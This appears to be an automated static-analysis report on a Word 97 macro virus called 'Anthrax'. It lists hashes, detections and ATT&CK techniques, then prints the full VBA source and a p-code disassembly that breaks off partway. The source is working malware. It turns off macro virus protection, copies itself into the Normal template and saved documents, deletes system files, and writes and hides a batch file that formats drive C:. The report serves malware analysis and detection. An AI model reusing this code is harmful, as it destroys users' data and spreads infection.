Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c5a477553a5ef8a5…

MALICIOUS

Office (OLE)

61.5 KB Created: 1998-06-02 11:02:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-14
MD5: 01a1ee7d9dbc6bd008ad283796dfb000 SHA-1: c4cd3dcef57db4da846d002c22deb221ab81b87a SHA-256: c5a477553a5ef8a51c0ef62d478dd71501ca2b4ce4a2f4d0a7478b4f173005ea
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1070.004 File Deletion

This document contains legacy WordBasic macro virus markers and actively attempts to disable macro protection and replicate itself by copying its macro code to the Normal template. The script explicitly attempts to infect the Normal template and other documents, and displays messages to the user indicating its malicious intent. The presence of 'WordBasic.DisableAutoMacros', 'Options.VirusProtection = False', and 'Options.SaveNormalPrompt = False' indicates attempts to bypass security features.

Heuristics 6

  • ClamAV: Doc.Trojan.Zmk-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Zmk-5
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell "C:\Anthrax.bat", vbHide
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 26512 bytes
SHA-256: b715dfaf36f0bc987ea9c46f72c8adefb2cb11ea87c269c5576c124781916d1b
Detection
ClamAV: Doc.Trojan.Zmk-5
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Anthrax"
Sub FileNew()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorFN
    Call Anthrax
ErrorFN:
End Sub
Sub AutoNew()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorAN
    Call Anthrax
ErrorAN:
End Sub
Sub AutoOpen()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorAO
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
    If WordBasic.[MacroName$](i, 0) = "Anthrax" Then
        AnthraxInstalled = -1
    End If
Next i
If Not AnthraxInstalled Then
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Anthrax", Object:=wdOrganizerObjectProjectItems
    MsgBox "Modèle Normal infecté!!!!", vbCritical, "Virus Anthrax"
End If
ErrorAO:
End Sub
Private Sub Anthrax()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorAx
MsgBox "Anthrax est en train de contaminer votre ordinateur!!!!", vbCritical, "Virus Anthrax"
ActiveDocument.Shapes.AddLine(0#, 0#, 597.6, 0#).Select
For i = 1 To 1000
ActiveDocument.Shapes.AddLine(0#, 0#, 597.6, 0#).Select
ActiveDocument.Shapes.AddLine(0#, i, 597.6, i).Select
Selection.ShapeRange.Line.Weight = 6#
Selection.ShapeRange.Line.Visible = msoTrue
Selection.ShapeRange.Line.Style = msoLineSingle
Next i
Dim Nbre, MyDate
MyDate = Date
D$ = Mid(MyDate, 1, 2)
Randomize
Nbre = Int(Rnd * 20) + 1
If Nbre = 1 Or Nbre = 3 Or Nbre = 5 Or Nbre = 7 Then
    Kill "C:\Autoexec.bat"
    Kill "C:\Config.sys"
    Kill "C:\Windows\System\*.dll"
End If
If Nbre = 2 Or Nbre = 4 Or Nbre = 6 Or Nbre = 8 Then
Message:
    StatusBar = "HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
    For i = 1 To 400000
    Next i
    StatusBar = "       HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
    For i = 1 To 400000
    Next i
    StatusBar = "               HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
    For i = 1 To 400000
    Next i
    StatusBar = "                       HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
    For i = 1 To 400000
    Next i
    StatusBar = "                               HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                       HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                               HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                       HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                               HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                       HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                               HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                       HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                               HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                       HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                               HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                                       HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                                               HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                                                       HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
    For i = 1 To 400000
    Next i
GoTo Message
End If
If (Nbre = 10 Or Nbre = 12 Or Nbre = 14 Or Nbre = 16) And D$ = "15" Then
    Open "C:\Anthrax.bat" For Output As #1
        Print #1, "Cls"
        Print #1, "Echo off"
        Print #1, "Echo Le virus Anthrax va détruire votre disque dur!!!"
        Print #1, "Echo y|Format c: /u /Autotest /v:Anthrax"
        Print #1, "Echo o|Format c: /u /Autotest /v:Anthrax"
    Close #1
    Shell "C:\Anthrax.bat", vbHide
End If
If Nbre = 13 Or Nbre = 15 Or Nbre = 17 Then
    CommandBars("File").Enabled = False
    CommandBars("Edit").Enabled = False
    CommandBars("Tools").Enabled = False
    CommandBars("File").Name = "Anthrax"
    CommandBars("Edit").Name = "Anthrax"
    CommandBars("File").Name = "Anthrax"
    MsgBox "Je suis le Virus Anthrax..." & Chr$(13) & "HAHAHAHAHA!!!!!", vbCritical, "Virus Anthrax"
End If
ErrorAx:
End Sub
Sub FileSaveAs()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorFSA
    Dialogs(wdDialogFileSaveAs).Show
        If ActiveDocument.SaveFormat = wdFormatDocument Or ActiveDocument.SaveFormat = wdFormatTemplate Then
            ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
        End If
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Anthrax", Object:=wdOrganizerObjectProjectItems
ActiveDocument.Save
ErrorFSA:
End Sub
Sub FileTemplates()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorFT
    MsgBox "Le virus ANTHRAX ne peut pas vous autoriser l'accès!!!" & Chr$(13) & "HAHAHAHAHA!!!!", vbCritical, "Virus Anthrax"
ErrorFT:
End Sub
Sub ToolsMacro()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorTM
    Assistant.Visible = True
    With Assistant.NewBalloon
        .Button = msoButtonSetOK
        .Heading = "Virus Anthrax"
        .Text = "Attention, ce menu n'est pas autorisé..."
        .Show
    End With
ErrorTM:
End Sub
Sub ViewVBCode()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorVVBC
    ActiveWindow.Caption = "Virus Anthrax par ZeMacroKiller98"
ErrorVVBC:
End Sub

' Processing file: /opt/analyzer/scan_staging/1623bdd74eb9434abe8bdd76703f7df5.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1192 bytes
' Macros/VBA/Anthrax - 20044 bytes
' Line #0:
' 	FuncDefn (Sub FileNew())
' Line #1:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #2:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #3:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #4:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #5:
' 	OnError ErrorFN 
' Line #6:
' 	ArgsCall (Call) Anthrax 0x0000 
' Line #7:
' 	Label ErrorFN 
' Line #8:
' 	EndSub 
' Line #9:
' 	FuncDefn (Sub AutoNew())
' Line #10:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #11:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #12:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #13:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #14:
' 	OnError ErrorAN 
' Line #15:
' 	ArgsCall (Call) Anthrax 0x0000 
' Line #16:
' 	Label ErrorAN 
' Line #17:
' 	EndSub 
' Line #18:
' 	FuncDefn (Sub AutoOpen())
' Line #19:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #20:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #21:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #22:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #23:
' 	OnError ErrorAO 
' Line #24:
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0002 
' 	St iMacroCount 
' Line #25:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld iMacroCount 
' 	For 
' Line #26:
' 	Ld i 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0002 
' 	LitStr 0x0007 "Anthrax"
' 	Eq 
' 	IfBlock 
' Line #27:
' 	LitDI2 0x0001 
' 	UMi 
' 	St AnthraxInstalled 
' Line #28:
' 	EndIfBlock 
' Line #29:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #30:
' 	Ld AnthraxInstalled 
' 	Not 
' 	IfBlock 
' Line #31:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0007 "Anthrax"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #32:
' 	LitStr 0x0019 "Modèle Normal infecté!!!!"
' 	Ld vbCritical 
' 	LitStr 0x000D "Virus Anthrax"
' 	ArgsCall MsgBox 0x0003 
' Line #33:
' 	EndIfBlock 
' Line #34:
' 	Label ErrorAO 
' Line #35:
' 	EndSub 
' Line #36:
' 	FuncDefn (Private Sub Anthrax())
' Line #37:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #38:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #39:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #40:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #41:
' 	OnError ErrorAx 
' Line #42:
' 	LitStr 0x0037 "Anthrax est en train de contaminer votre ordinateur!!!!"
' 	Ld vbCritical 
' 	LitStr 0x000D "Virus Anthrax"
' 	ArgsCall MsgBox 0x0003 
' Line #43:
' 	LitR8 0x0000 0x0000 0x0000 0x0000 
' 	LitR8 0x0000 0x0000 0x0000 0x0000 
' 	LitR8 0xCCCD 0xCCCC 0xACCC 0x4082 
' 	LitR8 0x0000 0x0000 0x0000 0x0000 
' 	Ld ActiveDocument 
' 	MemLd Shapes 
' 	ArgsMemLd AddLine 0x0004 
' 	ArgsMemCall Set 0x0000 
' Line #44:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x03E8 
' 	For 
' Line #45:
' 	LitR8 0x0000 0x0000 0x0000 0x0000 
' 	LitR8 0x0000 0x0000 0x0000 0x0000 
' 	LitR8 0xCCCD 0xCCCC 0xACCC 0x4082 
' 	LitR8 0x0000 0x0000 0x0000 0x0000 
' 	Ld ActiveDocument 
' 	MemLd Shapes 
' 	ArgsMemLd AddLine 0x0004 
' 	ArgsMemCall Set 0x0000 
' Line #46:
' 	LitR8 0x0000 0x0000 0x0000 0x0000 
' 	Ld i 
' 	LitR8 0xCCCD 0xCCCC 0xACCC 0x4082 
' 	Ld i 
' 	Ld ActiveDocument 
' 	MemLd Shapes 
' 	ArgsMemLd AddLine 0x0004 
' 	ArgsMemCall Set 0x0000 
' Line #47:
' 	LitR8 0x0000 0x0000 0x0000 0x4018 
' 	Ld Selection 
' 	MemLd ShapeRange 
' 	MemLd Like 
' 	MemSt Weight 
' Line #48:
' 	Ld msoTrue 
' 	Ld Selection 
' 	MemLd ShapeRange 
' 	MemLd Like 
' 	MemSt Visible 
' Line #49:
' 	Ld msoLineSingle 
' 	Ld Selection 
' 	MemLd ShapeRange 
' 	MemLd Like 
' 	MemSt Style 
' Line #50:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #51:
' 	Dim 
' 	VarDefn Nbre
' 	VarDefn MyDate
' Line #52:
' 	Ld Date 
' 	St MyDate 
' Line #53:
' 	Ld MyDate 
' 	LitDI2 0x0001 
' 	LitDI2 0x0002 
' 	ArgsLd Mid$ 0x0003 
' 	St D$ 
' Line #54:
' 	ArgsCall Read 0x0000 
' Line #55:
' 	Ld Rnd 
' 	LitDI2 0x0014 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x0001 
' 	Add 
' 	St Nbre 
' Line #56:
' 	Ld Nbre 
' 	LitDI2 0x0001 
' 	Eq 
' 	Ld Nbre 
' 	LitDI2 0x0003 
' 	Eq 
' 	Or 
' 	Ld Nbre 
' 	LitDI2 0x0005 
' 	Eq 
' 	Or 
' 	Ld Nbre 
' 	LitDI2 0x0007 
' 	Eq 
' 	Or 
' 	IfBlock 
' Line #57:
' 	LitStr 0x000F "C:\Autoexec.bat"
' 	ArgsCall Kill 0x0001 
' Line #58:
' 	LitStr 0x000D "C:\Config.sys"
' 	ArgsCall Kill 0x0001 
' Line #59:
' 	LitStr 0x0017 "C:\Windows\System\*.dll"
' 	ArgsCall Kill 0x0001 
' Line #60:
' 	EndIfBlock 
' Line #61:
' 	Ld Nbre 
' 	LitDI2 0x0002 
' 	Eq 
' 	Ld Nbre 
' 	LitDI2 0x0004 
' 	Eq 
' 	Or 
' 	Ld Nbre 
' 	LitDI2 0x0006 
' 	Eq 
' 	Or 
' 	Ld Nbre 
' 	LitDI2 0x0008 
' 	Eq 
' 	Or 
' 	IfBlock 
' Line #62:
' 	Label Message 
' Line #63:
' 	LitStr 0x004B "HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
' 	St StatusBar 
' Line #64:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #65:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #66:
' 	LitStr 0x0052 "       HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
' 	St StatusBar 
' Line #67:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #68:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #69:
' 	LitStr 0x005A "               HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
' 	St StatusBar 
' Line #70:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #71:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #72:
' 	LitStr 0x0062 "                       HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
' 	St StatusBar 
' Line #73:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #74:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #75:
' 	LitStr 0x006A "                               HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
' 	St StatusBar 
' Line #76:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #77:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #78:
' 	LitStr 0x0072 "                                       HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
' 	St StatusBar 
' Line #79:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #80:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #81:
' 	LitStr 0x007A "                                               HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
' 	St StatusBar 
' Line #82:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #83:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #84:
' 	LitStr 0x0082 "                                                       HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
' 	St StatusBar 
' Line #85:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #86:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #87:
' 	LitStr 0x008A "                                                               HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
' 	St StatusBar 
' Line #88:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #89:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #90:
' 	LitStr 0x0092 "                                                                       HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
' 	St StatusBar 
' Line #91:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #92:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #93:
' 	LitStr 0x009A "                                                                               HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
' 	St StatusBar 
' Line #94:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #95:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #96:
' 	LitStr 0x00A2 "                                                                                       HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
' 	St StatusBar 
' Line #97:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #98:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #99:
' 	LitStr 0x00AA "                                                                                               HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
' 	St StatusBar 
' Line #100:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #101:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #102:
' 	LitStr 0x00B2 "                                                                                                       HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
' 	St StatusBar 
' Line #103:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #104:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #105:
' 	LitStr 0x00BA "                                                                                                               HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
' 	St StatusBar 
' Line #106:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #107:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #108:
' 	LitStr 0x00C2 "                                                                                                                       HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
' 	St StatusBar 
' Line #109:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #110:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #111:
' 	LitStr 0x00CA "                                                                                                                               HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
' 	St StatusBar 
' Line #112:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #113:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #114:
' 	LitStr 0x00D2 "                                                                                                                                       HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
' 	St StatusBar 
' Line #115:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #116:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #117:
' 	GoTo Message 
' Line #118:
' 	EndIfBlock 
' Line #119:
' 	Ld Nbre 
' 	LitDI2 0x000A 
' 	Eq 
' 	Ld Nbre 
' 	LitDI2 0x000C 
' 	Eq 
' 	Or 
' 	Ld Nbre 
' 	LitDI2 0x000E 
' 	Eq 
' 	Or 
' 	Ld Nbre 
' 	LitDI2 0x0010 
' 	Eq 
' 	Or 
' 	Paren 
' 	Ld D$ 
' 	LitStr 0x0002 "15"
' 	Eq 
' 	And 
' 	IfBlock 
' Line #120:
' 	LitStr 0x000E "C:\Anthrax.bat"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #121:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0003 "Cls"
' 	PrintItemNL 
' Line #122:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0008 "Echo off"
' 	PrintItemNL 
' Line #123:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0035 "Echo Le virus Anthrax va détruire votre disque dur!!!"
' 	PrintItemNL 
' Line #124:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0028 "Echo y|Format c: /u /Autotest /v:Anthrax"
' 	PrintItemNL 
' Line #125:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0028 "Echo o|Format c: /u /Autotest /v:Anthrax"
' 	PrintItemNL 
' Line #126:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #127:
' 	LitStr 0x000E "C:\Anthrax.bat"
' 	Ld vbHide 
' 	ArgsCall Shell 0x0002 
' Line #128:
' 	EndIfBlock 
' Line #129:
' 	Ld Nbre 
' 	LitDI2 0x000D 
' 	Eq 
' 	Ld Nbre 
' 	LitDI2 0x000F 
' 	Eq 
' 	Or 
' 	Ld Nbre 
' 	LitDI2 0x0011 
' 	Eq 
' 	Or 
' 	IfBlock 
' Line #130:
' 	LitVarSpecial (False)
' 	LitStr 0x0004 "File"
' 	ArgsLd CommandBars 0x0001 
' 	MemSt Enabled 
' Line #131:
' 	LitVarSpecial (False)
' 	LitStr 0x0004 "Edit"
' 	ArgsLd CommandBars 0x0001 
' 	MemSt Enabled 
' Line #132:
' 	LitVarSpecial (False)
' 	LitStr 0x0005 "Tools"
' 	ArgsLd CommandBars 0x0001 
' 	MemSt Enabled 
' Line #133:
' 	LitStr 0x0007 "Anthrax"
' 	LitStr 0x0004 "File"
' 	ArgsLd CommandBars 0x0001 
' 	MemSt New 
' Line #134:
' 	LitStr 0x0007 "Anthrax"
' 	LitStr 0x0004 "Edit"
' 	ArgsLd CommandBars 0x0001 
' 	MemSt New 
' Line #135:
' 	LitStr 0x0007 "Anthrax"
' 	LitStr 0x0004 "File"
' 	ArgsLd CommandBars 0x0001 
' 	MemSt New 
' Line #136:
' 	LitStr 0x001B "Je suis le Virus Anthrax..."
' 	LitDI2 0x000D 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitStr 0x000F "HAHAHAHAHA!!!!!"
' 	Concat 
' 	Ld vbCritical 
' 	LitStr 0x000D "Virus Anthrax"
' 	ArgsCall MsgBox 0x0003 
' Line #137:
' 	EndIfBlock 
' Line #138:
' 	Label ErrorAx 
' Line #139:
' 	EndSub 
' Line #140:
' 	FuncDefn (Sub FileSaveAs())
' Line #141:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #142:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #143:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #144:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #145:
' 	OnError ErrorFSA 
' Line #146:
' 	Ld wdDialogFileSaveAs 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #147:
' 	Ld ActiveDocument 
' 	MemLd SaveFormat 
' 	Ld wdFormatDocument 
' 	Eq 
' 	Ld ActiveDocument 
' 	MemLd SaveFormat 
' 	Ld wdFormatTemplate 
